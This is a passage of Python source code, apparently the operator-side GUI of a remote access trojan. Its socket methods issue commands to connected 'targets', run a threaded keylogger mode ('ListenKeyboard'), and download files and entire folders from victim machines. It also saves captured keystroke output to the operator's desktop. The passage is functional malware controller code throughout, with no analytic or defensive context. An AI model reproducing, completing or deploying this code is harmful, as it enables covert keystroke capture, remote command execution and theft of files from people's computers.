    # UPLOAD :end

    def closeRecord(self):
        self.CLOSE = "StopRecording"
        textOfResult.insert(END, f"\n\nWait for lest press from target...")
        buttExecute.config(text="OFF RECORD",
                           command=lambda: Sockets.choiceModeRun(self))

    # //  Modes [!]
    def choiceModeRun(self):
        """
            When Clicked in < EXEcUTE >  this module run
            Running - BY - settings that defined [see < MODE_MSG > ]
        """
        if self.MODE_MSG == "Download":
            Sockets.DownloadData(self)
        elif self.MODE_MSG == "Command":
            Sockets.getDataCommand(self)
        elif self.MODE_MSG == "ListenKeyboard":
            threading.Thread(target=Sockets.getDateKeyboard,
                             args=(self, )).start()

        elif self.MODE_MSG == "ChDir":
            buttChangeMode['state'] = NORMAL
            Sockets.SendChDir(self)

        elif self.MODE_MSG == "Upload":
            Sockets.UploadData(self)

    def saveDateFromTerminal(self):
        """
            save data of console
            like  when the listen keyboard running  { the presses print to console }
        """
        for ipPrivate in self.liIpPrivate:
            if str(ipPrivate['port']) in self.ipChoose:
                self.TITLE = f"{'=' * 28}\n**from Target {ipPrivate['ip']}\n{'=' * 28}\n\n\n"

        if textOfResult.get(0.0, END):

            xNone = randint(1, 432452)
            path = rf"c:\Users\{self.nameAdmin}\Desktop\{self.file}{xNone}.txt"
            with open(path, "w", encoding="utf-8") as f:
                f.write(self.TITLE)
                f.write(textOfResult.get(0.0, END))

            textOfResult.insert(0.0, f"[DOWNLOAD] success! file in {path}\n\n")

        else:
            pass

    # DOWNLOADS :start
    def windowToDownload(self):
        """
            ... {see < Download[File,Folder] >}
        """

        slash = "\\"
        p = entrCommand.get()
        PathDownload = rf"c:\Users\{self.nameAdmin}\Desktop\{p[p.rfind(slash) + 1:]}"
        windowDate = Tk()
        windowDate.geometry("500x200")
        windowDate.title(" Downloading")

        labPath = Label(windowDate,
                        text=f"Your Path of {self.isFolderFile[0]}:",
                        font="times 14")
        labPath.place(x=110, y=10)

        labLenFiles = Label(windowDate,
                            text=f"Files : {self.isFolderFile[1]}",
                            font="times 13")
        labLenFiles.place(x=0, y=90)

        entryPath = Entry(windowDate, width=50, font="times 16", fg="green")
        entryPath.place(x=0, y=40)

        entryPath.insert(0, PathDownload)

        buttSAVE = ttk.Button(
            windowDate,
            text="SAVE",
            command=lambda: Sockets.SAVE(self, entryPath.get(), windowDate))
        buttSAVE.place(x=420, y=140)
        buttCancel = ttk.Button(windowDate,
                                text="Cancel",
                                command=lambda: windowDate.destroy())
        buttCancel.place(x=330, y=140)
        windowDate.mainloop()

    def downloadFolder(self, path):
        """
            see Up line 20 - 60
        """
        try:
            Target = Sockets.checkWhoTarget(self)

            self.numToSaveFile = randint(1, 4245)
            if not os.path.isdir(path):
                os.mkdir(path)
            else:
                path = path + f"{self.numToSaveFile}"
                os.mkdir(path)

            Target.sendall("GetTypeDownload".encode())
            for xRun in range(int(
                    self.isFolderFile[1])):  # // this f*****g just number !

                Nf = Target.recv(self.RECV).decode()  # // name file
                with open(f"{path}\\{Nf}", "ab") as f:

                    Target.sendall("getFileName".encode())

                    while True:

                        self.dateFromTarget = Target.recv(self.RECV)

                        if not "R1ad0n1F".encode(
                        ) in self.dateFromTarget:  # // "R1ad0n1F" can't be exist in data!
                            textOfResult.delete(0.0, END)
                            textOfResult.insert(
                                END, f"\n\n[DOWNLOAD]"
                                f" downloading....{(xRun * 100) // int(self.isFolderFile[1])} %"
                            )
                            f.write(self.dateFromTarget)

                            Target.sendall("GetDataBinary".encode())

                        else:
                            Target.sendall("GetOneFile".encode())
                            break

        except ConnectionResetError:
            Target = Sockets.checkWhoTarget(self)
            self.liSocket.remove(Target)
            textOfResult.delete(0.0, END)
            textOfResult.insert(
                END, f"\n\n{self.ipChoose} DISCONNECTED. can't to send ")
            buttExecute.config(state=NORMAL, text="EXECUTE")

    def downloadFile(self, path):
        """
        see Up line 20 - 60
        """
        try:
            Target = Sockets.checkWhoTarget(self)

            F = open(path, "ab")
            Target.sendall("GetTypeDownload".encode())
            print("ok")
            x = 0
            while True:

                self.dateFromTarget = Target.recv(self.RECV)
                if "R1ad0n1F".encode() not in self.dateFromTarget:
                    textOfResult.delete(0.0, END)
                    textOfResult.insert(
                        END,
                        f"\n\n[DOWNLOAD] downloading....{int((x * 100) / int(self.isFolderFile[2]))} %"
                    )
                    F.write(self.dateFromTarget)
                    x = +len(self.dateFromTarget)
                    print(f"length data={x}")
                    Target.sendall("GetDataBinary".encode())

                else:
                    F.close()
                    print("finish file")
                    Target.sendall("GetOneFile".encode())
                    break

        except ConnectionResetError:
            Target = Sockets.checkWhoTarget(self)
            self.liSocket.remove(Target)
            textOfResult.delete(0.0, END)
            textOfResult.insert(
                END, f"\n\n{self.ipChoose} DISCONNECTED. can't to send ")
            buttExecute.config(text="EXECUTE", state=NORMAL)

    def SAVE(self, path, window):
        """
        main process of Downloads
        """
        try:
            self.isCancelDownload = False
            if path:
                if "Folder" in self.isFolderFile:
                    window.destroy()
                    Sockets.downloadFolder(self, path)

                    textOfResult.insert(END,
                                        f"\n\ndownload folder successfully.")

                    buttExecute.config(text="EXECUTE", state=NORMAL)

                elif "File" in self.isFolderFile:
                    window.destroy()
                    Sockets.downloadFile(self, path)
                    print("finish down..")

                    textOfResult.insert(END,
                                        f"\n\ndownload file successfully.")
                    buttExecute.config(text="EXECUTE", state=NORMAL)

            else:
                textOfResult.insert(END, f"\n\nENTER path of system windows !")

        except Exception:
            pass